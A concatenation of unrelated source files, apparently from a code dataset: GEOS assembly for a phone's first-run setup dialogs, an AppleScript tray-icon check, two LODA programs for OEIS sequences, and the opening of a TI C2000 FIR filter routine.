ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
The current time format will be used to parse the text, so we
need to set it.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/ 1/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessShowTime method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SHOW_TIME
;
; Set the time format
;
; Get the format string and call LocalSetDateTimeFormat
; to set time format. The strings are in the StringsResource. Have to
; lock the block and get the segment.
;
mov bx, handle StringsResource
call MemLock ; ax <- segment
mov_tr es, ax ; es:di - string
mov di, offset DefaultTimeFormatString
mov di, es:[di]
mov si, DTF_HM ; set TIME
call LocalSetDateTimeFormat
call MemUnlock
;
; Write to ini file. Why not?
; or why?
;
; call InitFileCommit
;
; Set max length on time string -- done in UI file
;
; mov bx, handle TimeText
; mov si, offset TimeText
; mov cx, TIME_TEXT_MAX_LENGTH ; = 5
; mov ax, MSG_VIS_TEXT_SET_MAX_LENGTH
; mov di, mask MF_CALL
; call ObjMessage ; ax, cx, dx, bp gone
;
; Load the sample string
;
mov cx, handle TimeText
mov dx, offset TimeText
mov si, DTF_HM
call RStartupReplaceDateTimeString
;
; Initialize the dialog
;
mov bx, handle TimeDialog
mov si, offset TimeDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
ret
RSPRstartupProcessShowTime endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessTimeOK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User presses OK on Time box. Check if the time string is
valid, set the time, and initiate the User data dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_TIME_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/ 1/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessTimeOK method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_TIME_OK
buffer local SMALL_STRING_SIZE dup (TCHAR)
.enter
push bp
;
; fetch the time text entered by user
;
mov bx, handle TimeText
mov si, offset TimeText
mov dx, ss ; dx:bp - string
lea bp, ss:[buffer]
mov ax, MSG_VIS_TEXT_GET_ALL_PTR
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; cx <- string length
; buffer filled,
; ax, di destroyed
;
; see if it is a valid time
;
mov es, dx ; es:di - string
mov di, bp
mov si, DTF_HM
call LocalParseDateTime ; carry set if valid:
; ch - hours (0-23)
; dl - minutes (0-59)
; ax, bx, dh <- -1
;
; if carry not set, give invalid time mesg and leave
;
jnc error
;
; so everything is fine. Set the time
;
clr dh ; second <- 0
mov cl, mask SDTP_SET_TIME
call TimerSetDateAndTime ; ax, bx, cx, dx gone
;
; Initiate UserDataDialog1
;
mov bx, handle UserDataIntroDialog
mov si, offset UserDataIntroDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
jmp quit
error:
;
; Show error mesg
;
mov cx, handle InvalidTimeMsg
mov dx, offset InvalidTimeMsg
mov ax, FoamCustomDialogBoxFlags <1, CDT_ERROR, \
GIT_NOTIFICATION, 0>
call RStartupDisplayWithHighPriority
;
; Reload the sample string
;
mov cx, handle TimeText
mov dx, offset TimeText
mov si, DTF_HM
call RStartupReplaceDateTimeString
;
; Get cursor back to beginning of the field
;
; mov ax, MSG_VIS_TEXT_SELECT_START
; mov di, mask MF_CALL
; call ObjMessage
quit:
pop bp
.leave
ret
RSPRstartupProcessTimeOK endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessCheckSimCardInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send ECI message to check if SIM card is available,
VP mesg handler will add owner info to contdb and
initialize the dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_CHECK_SIM_CARD_INFO
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Test if the ECI message has been sent. If so, quit
First we register ourselves to be a client in VP library.
Then we send ECI message.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 6/13/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if DO_ECI_SIM_CARD_CHECK ;-------------------------------------------
RSPRstartupProcessCheckSimCardInfo method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_CHECK_SIM_CARD_INFO
.enter
call DerefDgroupES ; es <- dgroup
EC < Assert dgroup, es >
;
; if the eci has been sent already, let's not send it again
; if not, mark that it has been sent.
;
test es:[eciSentFlags], mask RSEF_SIM_INFO_STATUS_SENT
EC < WARNING_NZ ECI_SIM_INFO_STATUS_NOT_SENT_MULTIPLE_TIMES >
jnz quit
BitSet es:[eciSentFlags], RSEF_SIM_INFO_STATUS_SENT
;
; register ourselves to VP library
;
sub sp, size VpInstallClientParams
mov bp, sp
CheckHack < size TokenChars eq 4 >
mov {word} ss:[bp].VICP_geodeToken.GT_chars, 'ST'
mov {word} ss:[bp].VICP_geodeToken.GT_chars+2, 'AU'
mov {word} ss:[bp].VICP_geodeToken.GT_manufID, \
MANUFACTURER_ID_GEOWORKS
if _FXIP
push ds, si
segmov ds, cs
mov si, offset messageIDTable
mov cx, size messageIDTable
call SysCopyToStackDSSI
movdw ss:[bp].VICP_eciMessageIdArray, dssi
pop ds, si
else
mov ss:[bp].VICP_eciMessageIdArray.segment, \
cs
mov ss:[bp].VICP_eciMessageIdArray.offset, \
offset messageIDTable
endif
mov ss:[bp].VICP_numberOfEciMessages,
(size messageIDTable ) / 2
call VpInstallClient ; ax <- VpInstallClientResult
; bx, cx, dx, es destroyed
add sp, size VpInstallClientParams
;
; if there is any error when trying to register as a client, don't
; send any ECI message
;
cmp ax, VPIC_OK
EC < WARNING_NE INSTALL_VP_CLIENT_FAILURE_NO_ECI_SENT >
jne sendNoECI
;
; send ECI message
;
sub sp, size VpSendEciMessageParams
mov bp, sp
mov ss:[bp].VSEMP_eciMessageID, ECI_SIM_INFO_GET
clrdw ss:[bp].VSEMP_eciStruct
call VpSendEciMessage
EC < cmp ax, VPSE_UNKNOWN_ECI_ID >
EC < ERROR_NC SEND_ECI_ERROR >
add sp, size VpSendEciMessageParams
quit:
.leave
ret
sendNoECI:
mov ax, MSG_RSTARTUP_PROCESS_SHOW_UINFO_EDITOR
call CallProcess
jmp quit
RSPRstartupProcessCheckSimCardInfo endm
messageIDTable word \
ECI_SIM_INFO_STATUS
endif ;-------------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessShowUinfoEditor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Show the user data editor dialog after initialization
CALLED BY: MSG_RSTARTUP_PROCESS_SHOW_UINFO_EDITOR
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
write [security]showUserDataWhenSIMChange FALSE so that when
SIM contacts are added to contdb, security library will not
ask user to review UserData.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/ 1/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SecurityCategory char "security", C_NULL
ShowUserDataKey char "showUserDataWhenSIMChanges", C_NULL
RSPRstartupProcessShowUinfoEditor method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SHOW_UINFO_EDITOR
uses bp
.enter
;
; Get the Contact DB handle
;
call ContactGetDBHandle ; bx <- db handle
;
; Get the secret user data card record ID
;
call ContactGetUserDataID ; dx.ax <- record id
;
; With the record ID, get the record from Contact DB
;
call FoamDBGetRecordFromID ; ax <- block handle
; 0 if deleted
; inUseCount
; incremented in FoamDB
;
; Release DB handle
;
call ContactReleaseDBHandle
mov_tr cx, ax
;
; if record is deleted, ax (& cx) is zero which should not
; happen
;
EC < tst cx >
EC < ERROR_Z USER_INFO_SECRET_RECORD_DELETED >
mov ax, MSG_CONTACT_EDIT_DISPLAY_RECORD
mov bx, handle UserDataContactEditor
mov si, offset UserDataContactEditor
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax, cx, dx, bp
; destroyed
;
; make the Name field in focus
;
mov ax, MSG_CONTACT_EDIT_FIELD_HAS_FOCUS
mov cx, CFT_NAME
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax, cx, dx, bp
; destroyed
;
; Initialize the dialog
;
mov bx, handle UserDataEditDialog
mov si, offset UserDataEditDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
;
; Check if security has already written out
; [security]showUserDataWhenSIMChanges
;
segmov ds, cs, cx
mov si, offset SecurityCategory
mov dx, offset ShowUserDataKey
call InitFileReadBoolean ; carry -> clear if present
jnc done ; already there?
; YES, skip overwriting
;
; Write the flag [security]showUserDataWhenSIMChange FALSE
;
mov ax, FALSE
call InitFileWriteBoolean
call InitFileCommit
done:
.leave
ret
RSPRstartupProcessShowUinfoEditor endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessUinfoOK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User presses OK on User data dialog box. Save the record, and
initiate the next dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_UINFO_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/ 1/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessUinfoOK method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_UINFO_OK
;
; Save the User data info card
;
; mov ax, MSG_CONTACT_EDIT_SAVE_RECORD_DATA
; mov bx, handle UserDataContactEditor
; mov si, offset UserDataContactEditor
; mov di, mask MF_CALL or mask MF_FIXUP_DS
; call ObjMessage ; ax, cx, dx,
; bp destroyed
;
; check how many contacts there are in SIM card (if present)
;
if 0
sub sp, size VpSendEciMessageParams
mov bp, sp
mov ss:[bp].VSEMP_eciMessageID, \
ECI_SIM_MEM_LOC_COUNT_STATUS
clrdw ss:[bp].VSEMP_eciStruct
call VpSendEciMessage
EC < cmp ax, VPSE_UNKNOWN_ECI_ID >
EC < ERROR_NC SEND_ECI_ERROR >
add sp, size VpSendEciMessageParams
endif
;
; Close the uinfo dialog (UserDataEditDialog) (so that
; indicator can come up -- the dialog is sysModal and full screen.
;
mov bx, handle UserDataEditDialog
mov si, offset UserDataEditDialog
mov ax, MSG_GEN_INTERACTION_ACTIVATE_COMMAND
mov cx, IC_DISMISS
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
;
; show the Exit Dialog
;
mov ax, MSG_RSTARTUP_PROCESS_SHOW_EXIT
call CallProcess
ret
RSPRstartupProcessUinfoOK endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessShowExit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Show the Exit dialog box after changing the text, if
necessary.
CALLED BY: MSG_RSTARTUP_PROCESS_SHOW_EXIT
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 9/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessShowExit method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SHOW_EXIT
.enter
if 0
;
; No need.. reboot occurs right after keyboard selection.
;
; Check to see if keyboard type is changed. If so, change the dialog
; text.
;
mov ax, MSG_RSTARTUP_APP_IS_KBD_TYPE_CHANGED
call UserCallApplication ; cx <- TRUE or FALSE
jcxz proceed
;
; Change the dialog text
;
mov bx, handle ExitText1
mov si, offset ExitText1
mov ax, MSG_VIS_TEXT_REPLACE_ALL_OPTR
mov dx, handle StringsResource ; ^ldx:bp <- *string
mov bp, offset KbdRebootString
clr cx ; null terminated
mov di, mask MF_CALL
call ObjMessage
endif
proceed::
mov bx, handle ExitDialog
mov si, offset ExitDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
.leave
ret
RSPRstartupProcessShowExit endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessExitOK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User presses OK on "Ready-to-go" dialog box.
Change [ui features]defaultLauncher to phone (or contact mgr
for now), launch the app, and quit.
CALLED BY: MSG_RSTARTUP_PROCESS_EXIT_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
These things are not stored into CLOSE_APPLICATION in case
the user turns off the thing before completing everything.
Change default launcher to "Phone app"
Tell the app object to accept application keys.
Launch "Phone app"
Quit myself
>>> Before Phone app is ready, we are using Contact
Manager. <<<
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/ 3/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessExitOK method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_EXIT_OK
.enter
;
; Change default launcher to be Phone app.
;
push ds
mov cx, cs
mov ds, cx
mov es, cx
mov si, offset uiFeaturesString
mov dx, offset defaultLauncherString
mov di, offset phoneAppString
call InitFileWriteString
call InitFileCommit
pop ds
;
; Check to see if keyboard type is changed. If so, reboot
;
; mov ax, MSG_RSTARTUP_APP_IS_KBD_TYPE_CHANGED
; call UserCallApplication ; cx <- TRUE or FALSE
; jcxz launchApp
;
; Reboot!
; -- Reboot is now down right after keyboard type is chosen.
;
; mov ax, SST_RESTART
; call SysShutdown ; does not return
;
; Notify app obj that we should accept application keys now
;
mov ax, MSG_RSTARTUP_APP_SET_APP_FLAGS
mov cl, mask RSAF_ACCEPT_HARD_ICON
call UserCallApplication
;
; Quit
;
mov ax, MSG_META_QUIT
call UserCallApplication
;
; Launch Contact Manager
;
mov cx, FA_PHONE_APP
call FoamLaunchApplication
.leave
ret
uiFeaturesString char "uiFeatures", C_NULL
defaultLauncherString char "defaultLauncher", C_NULL
EC < phoneAppString char "EC Phone", C_NULL >
NEC < phoneAppString char "Phone", C_NULL >
RSPRstartupProcessExitOK endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSCEContactEditInsertEmptyRecordInDB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Messages the ContactEdit object uses to insert (empty)
records in the database. These should also close the
dialog box, unless there was an error or something
when saving the data out.
CALLED BY: MSG_CONTACT_EDIT_INSERT_EMPTY_RECORD_IN_DB
PASS: *ds:si = RStartupContactEditClass object
ds:di = RStartupContactEditClass instance data
es = segment of RStartupContactEditClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
We intercept this message because we cannot delete
this secret record even if this is empty. The default
action of this MSG is that if the record is empty,
warn the user and discard it.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/ 1/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if 0
; NO MORE this message
RSCEContactEditInsertEmptyRecordInDB method dynamic \
RStartupContactEditClass,
MSG_CONTACT_EDIT_INSERT_EMPTY_RECORD_IN_DB
;
; call another message
;
mov ax, MSG_CONTACT_EDIT_INSERT_RECORD_IN_DB
GOTO ObjCallInstanceNoLock
RSCEContactEditInsertEmptyRecordInDB endm
endif
CommonCode ends
if 0 ; ------------- OLD CODE NO LONGER USED
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessMemoryChangeOk
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User presses OK on Memory Change dialog box. Do something,
(?) and initiate the next dialog.
The Memory Change dialog is shown when there is no SIM card
present or if the SIM card has no valid contacts inside.
CALLED BY: MSG_RSTARTUP_PROCESS_MEMORY_CHANGE_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/16/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if DO_MEMORY_CHANGE ;++++++++++++++++++++++++++++++++++++++++++
RSPRstartupProcessMemoryChangeOk OLD method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_MEMORY_CHANGE_OK
;
; Initialize the next dialog
;
mov bx, handle ExitDialog
mov si, offset ExitDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
ret
RSPRstartupProcessMemoryChangeOk endm
endif ;++++++++++++ DO_MEMORY_CHANGE ++++++++++++
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessShowSimMemory
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Show the SimMemoryDialog.
CALLED BY: MSG_RSTARTUP_PROCESS_SHOW_SIM_MEMORY
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 9/ 7/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessShowSimMemory OLD method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SHOW_SIM_MEMORY
.enter
;
; show SimMemoryDialog
;
mov bx, handle SIMMemoryDialog
mov si, offset SIMMemoryDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
.leave
ret
RSPRstartupProcessShowSimMemory endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessSimMemoryOk
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User presses OK on SIM Memory dialog box. Do something (?)
and initiate the next dialog.
The SIMMemoryDialog is shown when there is SIM card present
with valid contacts inside.
CALLED BY: MSG_RSTARTUP_PROCESS_SIM_MEMORY_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/16/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessSimMemoryOk OLD method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SIM_MEMORY_OK
;
; put up "Copying" dialog
;
mov bx, handle SIMMemoryCopyingDialog
mov si, offset SIMMemoryCopyingDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
;
; read the first location in SIM
;
mov cx, 1
call RequestSIMReadLocation
ret
RSPRstartupProcessSimMemoryOk endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessStopCopying
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: MSG_RSTARTUP_PROCESS_STOP_COPYING
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 9/27/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessStopCopying OLD method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_STOP_COPYING
.enter
;
; dismiss copying... dialog
;
mov bx, handle SIMMemoryCopyingDialog
mov si, offset SIMMemoryCopyingDialog
mov ax, MSG_GEN_GUP_INTERACTION_COMMAND
mov cx, IC_DISMISS
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
;
; exit!
;
mov ax, MSG_RSTARTUP_PROCESS_SHOW_EXIT
call CallProcess
.leave
ret
RSPRstartupProcessStopCopying endm
endif ; 0
|
test/extended/crc/ux/tray/applescripts/checkTrayIconIsVisible.applescript | lzap/crc | 931 | 3864 | <filename>test/extended/crc/ux/tray/applescripts/checkTrayIconIsVisible.applescript<gh_stars>100-1000
on run {bundleIdentifer}
tell application "System Events"
tell (first application process whose bundle identifier is bundleIdentifer)
tell menu bar item of menu bar 2
try
name
return true
on error
return false
end try
end tell
end tell
end tell
end run
|
programs/oeis/081/A081494.asm | neoneye/loda | 22 | 95553 | ; A081494: Start with Pascal's triangle; form a triangle by sliding down n steps from top on both sides and including the horizontal row, deleting the inner numbers; a(n) = sum of entries on perimeter of triangle.
; 1,3,7,13,23,41,75,141,271,529,1043,2069,4119,8217,16411,32797,65567,131105,262179,524325,1048615,2097193,4194347,8388653,16777263,33554481,67108915,134217781,268435511,536870969,1073741883,2147483709
mov $1,2
pow $1,$0
mov $2,$0
mul $2,2
trn $2,1
add $1,$2
mov $0,$1
|
oeis/122/A122514.asm | neoneye/loda-programs | 11 | 25031 | <filename>oeis/122/A122514.asm
; A122514: Expansion of x/(1 - 2*x^2 - x^3 + x^4).
; Submitted by <NAME>
; 0,1,0,2,1,3,4,5,10,11,21,27,43,64,92,144,205,316,462,693,1035,1532,2301,3406,5099,7581,11303,16855,25088,37432,55728,83097,123800,184490,274969,409683,610628,909845,1355970,2020635,3011157,4487395,6686979
mov $3,$0
mul $0,2
add $0,19
add $3,4
lpb $0
sub $0,4
mov $2,$3
bin $2,$0
add $1,$2
sub $3,1
lpe
mov $0,$1
|
c2000/C2000Ware_1_00_06_00/libraries/dsp/FixedPoint/c28/source/fir32_alt.asm | ramok/Themis_ForHPSDR | 0 | 243544 | ;;#############################################################################
;;! \file source/fir32_alt.asm
;;!
;;! \brief Alternate 32-bit FIR filter
;;!
;;! \date Aug 29, 2014
;;!
;;
;; Group: C2000
;; Target Family: C28x
;;
;;#############################################################################
;;$TI Release: C28x Fixed Point DSP Library v1.20.00.00 $
;;$Release Date: Thu Oct 18 15:57:22 CDT 2018 $
;;$Copyright: Copyright (C) 2014-2018 Texas Instruments Incorporated -
;; http://www.ti.com/ ALL RIGHTS RESERVED $
;;#############################################################################
;;
;;*****************************************************************************
;; includes
;;*****************************************************************************
;;
;;*****************************************************************************
;; globals
;;*****************************************************************************
; Module definition for external reference
.def _FIR32_alt_init
.def _FIR32_alt_calc
;; Module Structure
;; typedef struct { <------------ XAR4
;; long *coeff_ptr; /* +0 Pointer to Filter coefficient */
;; long * dbuffer_ptr; /* +2 Delay buffer ptr */
;; int cbindex; /* +4 Circular Buffer Index */
;; int order; /* +5 Order of the Filter */
;; int input; /* +6 Latest Input sample */
;; int output; /* +7 Filter Output */
;; void (*init)(void *); /* +8 Ptr to Init funtion */
;; void (*calc)(void *); /* +10 Ptr to calc fn */
;; }FIR32;
;;
ARG_DBUFFER_PTR .set 0
ARG_CBINDEX .set 2
ARG_ORDER .set 3
ARG_INPUT .set 4
ARG_OUTPUT .set 6
;;
;;=============================================================================
;;! \fn FIR_alt_init
;;! \brief Initialization function for the alternate FIR function
;;! \param FIR32_handle pointer to an FIR32 object
;;
;; This routine will zero out the dbuffer
;;
;;=============================================================================
;;
_FIR32_alt_init:
ADDB XAR4, #2 ; XAR4 -> dbuffer_ptr
MOV *+XAR4[ARG_INPUT],#0 ; input=0
MOV *+XAR4[ARG_OUTPUT],#0 ; output=0
MOVL XAR6,*+XAR4[ARG_DBUFFER_PTR] ; XAR6=dbuffer_ptr
ZAPA ; ACC = P = 0
MOV ACC,*+XAR4[ARG_ORDER] << 1 ; AL= order * 2
ADDB AL, #1 ; AL = order * 2 + 1
RPT AL ; repeat order * 2 + 2 times
|| MOV *XAR6++,#0 ; clear out the dbuffer elements
LRETR
;;
;;=============================================================================
;;! \fn FIR_alt_calc
;;! \brief Alternate FIR function
;;! \param FIR32_handle pointer to an FIR32 object
;;
;; This routine will use the LP addressing mode for circular buffer addressing
;; i.e *+XAR6[AR1%++] instead of *AR6%++, allowing for greater than 256 tap filters
;; Transfer Function :
;;
;; \note The filter coefficients need to be stored in the following order for the
;; filter to work correctly i.e. (filter size is L = Order + 1)
;;
;; Index
;; +---------+
;; 0 | h(L-1) |
;; 2 | h(L-2) |
;; 4 | h(L-3) |
;; 6 | h(L-4) |
;; ... | ... |
;; L-3 | h(2) |
;; L-2 | h(1) |
;; L-1 | h(0) |
;; +---------+
;;
;; Register usage:
;; AR0 : repeat block counter (order)
;; AR1H/AR1L : buffer size-1/index pointer
;; XAR7 : coefficient pointer
;; XAR6 : delay line pointer (circular buffer)
;;
;;=============================================================================
;;
ConstTable:
PosSatVal: .long 0x00FFFFFF ; Corresponds to >> 6
NegSatVal: .long 0xFF000000 ; Corresponds to >> 6
FILTER_SIZE .set 44
_FIR32_alt_calc:
PUSH XAR1 ; Context Save
SETC SXM, OVM ; Turn on sign extension and
; overflow mode to saturate
SPM 0 ; no scaling for the product (P) register
; changing this to SPM 1, will shift P left by 1
; during the accumulation giving a Q31 result
MOVL XAR7, *XAR4++ ; XAR7 = coeff_ptr, XAR4 -> dbuffer_ptr
MOVL XAR6, *+XAR4[ARG_DBUFFER_PTR] ; XAR6 = dbuffer_ptr
